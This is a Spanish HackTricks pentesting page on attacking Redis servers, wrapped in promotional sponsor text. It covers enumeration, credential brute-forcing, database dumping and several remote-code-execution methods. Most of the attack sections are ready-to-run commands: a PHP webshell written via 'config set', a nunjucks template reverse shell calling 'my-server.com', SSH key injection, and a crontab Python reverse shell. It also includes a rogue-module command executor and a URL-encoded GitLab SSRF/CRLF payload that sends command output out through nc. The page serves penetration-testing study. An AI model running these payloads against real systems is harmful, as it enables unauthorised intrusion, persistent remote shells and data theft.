# 6379 - Pentesting Redis
Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## Información Básica
Desde [la documentación](https://redis.io/topics/introduction): Redis es un almacén de **estructuras de datos en memoria**, de código abierto (licencia BSD), utilizado como **base de datos**, caché y broker de mensajes.
Por defecto, Redis utiliza un protocolo basado en texto plano, pero debes tener en cuenta que también puede implementar **ssl/tls**. Aprende cómo [ejecutar Redis con ssl/tls aquí](https://fossies.org/linux/redis/TLS.md).
**Puerto predeterminado:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Enumeración Automática
Algunas herramientas automatizadas que pueden ayudar a obtener información de una instancia de redis:
```bash
nmap --script redis-info -sV -p 6379
msf> use auxiliary/scanner/redis/redis_server
```
## Enumeración Manual
### Banner
Redis es un **protocolo basado en texto**, puedes simplemente **enviar el comando en un socket** y los valores devueltos serán legibles. También recuerda que Redis puede ejecutarse utilizando **ssl/tls** (pero esto es muy raro).
En una instancia regular de Redis puedes simplemente conectarte usando `nc` o también podrías usar `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
El **primer comando** que podrías probar es **`info`**. **Puede devolver una salida con información** de la instancia de Redis **o algo** similar a lo siguiente es devuelto:
```
-NOAUTH Authentication required.
```
En este último caso, esto significa que **necesitas credenciales válidas** para acceder a la instancia de Redis.
### Autenticación de Redis
**Por defecto** Redis se puede acceder **sin credenciales**. Sin embargo, se puede **configurar** para admitir **solo contraseña o usuario + contraseña**.\
Es posible **establecer una contraseña** en el archivo _**redis.conf**_ con el parámetro `requirepass` **o temporalmente** hasta que el servicio se reinicie conectándose a él y ejecutando: `config set requirepass p@ss$12E45`.\
Además, se puede configurar un **nombre de usuario** en el parámetro `masteruser` dentro del archivo _**redis.conf**_.
{% hint style="info" %}
Si solo se configura la contraseña, el nombre de usuario utilizado es "**default**".\
Además, ten en cuenta que **no hay forma de saber externamente** si Redis se configuró solo con contraseña o usuario + contraseña.
{% endhint %}
En casos como este, **necesitarás encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis).\
**En caso de encontrar credenciales válidas, necesitarás autenticar la sesión** después de establecer la conexión con el comando:
```bash
AUTH
```
**Credenciales válidas** serán respondidas con: `+OK`
### **Enumeración autenticada**
Si el servidor Redis permite **conexiones anónimas** o si has obtenido credenciales válidas, puedes iniciar el proceso de enumeración del servicio utilizando los siguientes **comandos**:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Otros comandos de Redis** [**se pueden encontrar aquí**](https://redis.io/topics/data-types-intro) **y** [**aquí**](https://lzone.de/cheat-sheet/Redis)**.**
Tenga en cuenta que los **comandos de Redis de una instancia pueden ser renombrados** o eliminados en el archivo _redis.conf_. Por ejemplo, esta línea eliminará el comando FLUSHDB:
```
rename-command FLUSHDB ""
```
Más información sobre cómo configurar de forma segura un servicio de Redis aquí: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
También puedes **monitorizar en tiempo real los comandos de Redis** ejecutados con el comando **`monitor`** o obtener las **25 consultas más lentas** con **`slowlog get 25`**
Encuentra más información interesante sobre otros comandos de Redis aquí: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Volcado de base de datos**
Dentro de Redis, las **bases de datos son números que empiezan desde 0**. Puedes ver si alguna está en uso en la salida del comando `info` dentro del bloque "Keyspace":
![](<../.gitbook/assets/image (766).png>)
O simplemente puedes obtener todos los **keyspaces** (bases de datos) con:
```
INFO keyspace
```
En ese ejemplo se están utilizando **la base de datos 0 y 1**. **La base de datos 0 contiene 4 claves y la base de datos 1 contiene 1**. Por defecto, Redis utilizará la base de datos 0. Para volcar, por ejemplo, la base de datos 1, debes hacer lo siguiente:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET
[ ... Get Key ... ]
```
En caso de que obtengas el siguiente error `-WRONGTYPE Operación contra una clave que contiene un tipo de valor incorrecto` mientras ejecutas `GET ` es porque la clave puede ser algo distinto a una cadena o un entero y requiere un operador especial para mostrarlo.
Para conocer el tipo de la clave, utiliza el comando `TYPE`, ejemplo a continuación para claves de lista y hash.
```bash
TYPE
[ ... Type of the Key ... ]
LRANGE 0 -1
[ ... Get list items ... ]
HGET
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP
```
**Volcar la base de datos con npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
Únete al servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Participa en contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
## RCE de Redis
### Shell Interactivo
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) puede obtener automáticamente un shell interactivo o un shell inverso en Redis (<=5.0.5).
```
./redis-rogue-server.py --rhost --lhost
```
### PHP Webshell
Información de [**aquí**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Debes conocer la **ruta** de la **carpeta del sitio web**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
```
Si la excepción de acceso a la webshell, puedes vaciar la base de datos después de hacer una copia de seguridad e intentarlo de nuevo, recuerda restaurar la base de datos.
### Plantilla Webshell
Al igual que en la sección anterior, también podrías sobrescribir algún archivo de plantilla html que vaya a ser interpretado por un motor de plantillas y obtener una shell.
Por ejemplo, siguiendo [**este informe**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), puedes ver que el atacante inyectó una **shell inversa en un html** interpretado por el **motor de plantillas nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
Ten en cuenta que **varios motores de plantillas almacenan en caché** las plantillas en **memoria**, por lo que incluso si las sobrescribes, la nueva **no se ejecutará**. En estos casos, o el desarrollador dejó activa la recarga automática o necesitas realizar un ataque de denegación de servicio (DoS) sobre el servicio (y esperar a que se reinicie automáticamente).
{% endhint %}
### SSH
Ejemplo [desde aquí](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Por favor ten en cuenta que el resultado de **`config get dir`** puede cambiar después de ejecutar otros comandos de explotación manual. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de **`config get dir`** podrías encontrar el **directorio raíz** del **usuario redis** (generalmente _/var/lib/redis_ o _/home/redis/.ssh_), y al saber esto sabrás dónde puedes escribir el archivo `authenticated_users` para acceder vía ssh **con el usuario redis**. Si conoces el directorio raíz de otro usuario válido donde tengas permisos de escritura, también puedes abusar de ello:
1. Genera un par de claves pública-privada ssh en tu computadora: **`ssh-keygen -t rsa`**
2. Escribe la clave pública en un archivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Importa el archivo a redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Guarda la clave pública en el archivo **authorized\_keys** en el servidor de redis:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Finalmente, puedes hacer **ssh** al **servidor de redis** con la clave privada: **ssh -i id\_rsa redis@10.85.0.52**
**Esta técnica está automatizada aquí:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
El último ejemplo es para Ubuntu, para **Centos**, el comando anterior debería ser: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Este método también se puede utilizar para ganar bitcoin: [yam](https://www.v2ex.com/t/286981#reply14)
### Cargar Módulo Redis
1. Siguiendo las instrucciones de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puedes **compilar un módulo redis para ejecutar comandos arbitrarios**.
2. Luego necesitas alguna forma de **subir el módulo compilado**.
3. **Cargar el módulo subido** en tiempo de ejecución con `MODULE LOAD /ruta/a/mymodule.so`.
4. **Listar los módulos cargados** para verificar que se cargó correctamente: `MODULE LIST`.
5. **Ejecutar comandos**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Descargar el módulo cuando lo desees: `MODULE UNLOAD mymodule`
### Bypass del sandbox LUA
[**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar **código Lua en un entorno seguro**. En el post vinculado puedes ver **cómo abusarlo** usando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **burlar el sandbox** de Lua, podrías **ejecutar comandos arbitrarios** en el sistema. Además, en el mismo post puedes ver algunas **opciones para causar una denegación de servicio (DoS)**.
Algunos **CVEs para escapar de LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Módulo Maestro-Esclavo
El redis maestro sincroniza automáticamente todas las operaciones con el redis esclavo, lo que significa que podemos considerar la vulnerabilidad redis como un redis esclavo, conectado al redis maestro que controlamos, luego podemos ingresar comandos en nuestro propio redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF hablando con Redis
Si puedes enviar una solicitud en **texto claro** **a Redis**, puedes **comunicarte con él** ya que Redis leerá línea por línea la solicitud y simplemente responderá con errores a las líneas que no entienda:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Por lo tanto, si encuentras una vulnerabilidad de **SSRF** en un sitio web y puedes **controlar** algunos **encabezados** (quizás con una vulnerabilidad de CRLF) o **parámetros POST**, podrás enviar comandos arbitrarios a Redis.
### Ejemplo: Gitlab SSRF + CRLF a Shell
En **Gitlab11.4.7** se descubrió una vulnerabilidad de **SSRF** y una de **CRLF**. La vulnerabilidad de **SSRF** estaba en la **funcionalidad de importación de proyectos desde URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad de **CRLF** se explotó simplemente **agregando los caracteres %0D%0A** a la **URL**.
Por lo tanto, era posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona colas** desde **gitlab** y abusar de esas colas para **obtener ejecución de código**. El payload de abuso de la cola de Redis es:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
Y la solicitud de **codificación de URL** abusando de **SSRF** y **CRLF** para ejecutar un `whoami` y enviar la salida a través de `nc` es:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Por alguna razón (como para el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se tomó esta información) la explotación funcionó con el esquema `git` y no con el esquema `http`._
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por bugs que se lanzan y actualizaciones cruciales de plataformas
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
Aprende a hackear AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).